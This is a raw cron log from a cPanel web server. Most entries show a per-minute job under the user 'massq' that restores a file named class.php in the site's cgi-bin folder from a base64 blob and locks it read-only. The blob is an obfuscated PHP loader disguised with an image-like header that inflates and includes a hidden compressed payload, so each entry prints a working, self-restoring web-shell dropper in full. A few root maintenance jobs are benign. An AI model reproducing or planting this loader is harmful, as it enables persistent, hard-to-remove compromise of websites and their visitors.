Apr 10 13:21:01 server CROND[23357]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:22:01 server CROND[23507]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:23:01 server CROND[23562]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:24:01 server CROND[23620]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:25:01 server CROND[23684]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:25:01 server CROND[23685]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 13:25:01 server CROND[23686]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 13:26:01 server CROND[23795]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:27:01 server CROND[23938]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 13:27:01 server CROND[23939]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:28:01 server CROND[23993]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:29:01 server CROND[24040]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:30:01 server CROND[24093]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 13:30:01 server CROND[24094]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 13:30:01 server CROND[24095]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 13:30:01 server CROND[24096]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:31:01 server CROND[24206]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:32:01 server CROND[24363]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:33:01 server CROND[24426]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:34:01 server CROND[24479]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
